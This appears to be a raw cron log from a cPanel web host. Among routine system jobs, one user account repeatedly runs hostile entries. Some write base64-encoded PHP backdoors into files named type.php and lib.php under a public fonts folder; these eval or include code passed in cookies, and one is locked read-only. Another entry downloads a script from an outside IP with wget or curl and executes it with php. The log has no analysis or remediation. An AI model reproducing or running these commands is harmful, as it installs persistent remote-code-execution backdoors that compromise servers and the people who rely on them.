Sep 10 10:48:01 ip-184-168-122-23 CROND[22859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:48:01 ip-184-168-122-23 CROND[22860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:48:01 ip-184-168-122-23 CROND[22858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:49:01 ip-184-168-122-23 CROND[23008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:49:01 ip-184-168-122-23 CROND[23006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:49:01 ip-184-168-122-23 CROND[23007]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 10:49:01 ip-184-168-122-23 CROND[23009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:49:01 ip-184-168-122-23 CROND[23010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:50:01 ip-184-168-122-23 CROND[23172]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 10:50:01 ip-184-168-122-23 CROND[23173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:50:01 ip-184-168-122-23 CROND[23174]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:50:01 ip-184-168-122-23 CROND[23178]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:50:01 ip-184-168-122-23 CROND[23180]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 10:50:01 ip-184-168-122-23 CROND[23181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:50:01 ip-184-168-122-23 CROND[23182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:50:01 ip-184-168-122-23 CROND[23179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:50:01 ip-184-168-122-23 CROND[23184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:51:01 ip-184-168-122-23 CROND[23407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:51:01 ip-184-168-122-23 CROND[23408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:51:01 ip-184-168-122-23 CROND[23409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:51:01 ip-184-168-122-23 CROND[23410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:52:01 ip-184-168-122-23 CROND[23559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:52:01 ip-184-168-122-23 CROND[23561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:52:01 ip-184-168-122-23 CROND[23562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:52:01 ip-184-168-122-23 CROND[23563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:52:01 ip-184-168-122-23 CROND[23564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:53:01 ip-184-168-122-23 CROND[23664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:53:01 ip-184-168-122-23 CROND[23665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:53:01 ip-184-168-122-23 CROND[23668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:53:01 ip-184-168-122-23 CROND[23670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:54:01 ip-184-168-122-23 CROND[23770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:54:01 ip-184-168-122-23 CROND[23771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:54:01 ip-184-168-122-23 CROND[23772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:54:01 ip-184-168-122-23 CROND[23774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:54:01 ip-184-168-122-23 CROND[23775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:55:01 ip-184-168-122-23 CROND[23900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:55:01 ip-184-168-122-23 CROND[23902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:55:01 ip-184-168-122-23 CROND[23905]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:55:01 ip-184-168-122-23 CROND[23906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:55:01 ip-184-168-122-23 CROND[23903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:55:01 ip-184-168-122-23 CROND[23904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:56:01 ip-184-168-122-23 CROND[24026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:56:01 ip-184-168-122-23 CROND[24027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:56:01 ip-184-168-122-23 CROND[24031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:56:01 ip-184-168-122-23 CROND[24030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:56:01 ip-184-168-122-23 CROND[24029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:57:01 ip-184-168-122-23 CROND[24159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:57:01 ip-184-168-122-23 CROND[24160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:57:01 ip-184-168-122-23 CROND[24162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:57:01 ip-184-168-122-23 CROND[24165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:58:01 ip-184-168-122-23 CROND[24376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:58:01 ip-184-168-122-23 CROND[24378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:58:01 ip-184-168-122-23 CROND[24381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:58:01 ip-184-168-122-23 CROND[24379]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:58:01 ip-184-168-122-23 CROND[24385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:59:01 ip-184-168-122-23 CROND[24514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:59:01 ip-184-168-122-23 CROND[24516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:59:01 ip-184-168-122-23 CROND[24517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:59:01 ip-184-168-122-23 CROND[24518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:00:01 ip-184-168-122-23 CROND[24602]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 11:00:01 ip-184-168-122-23 CROND[24603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:00:01 ip-184-168-122-23 CROND[24608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
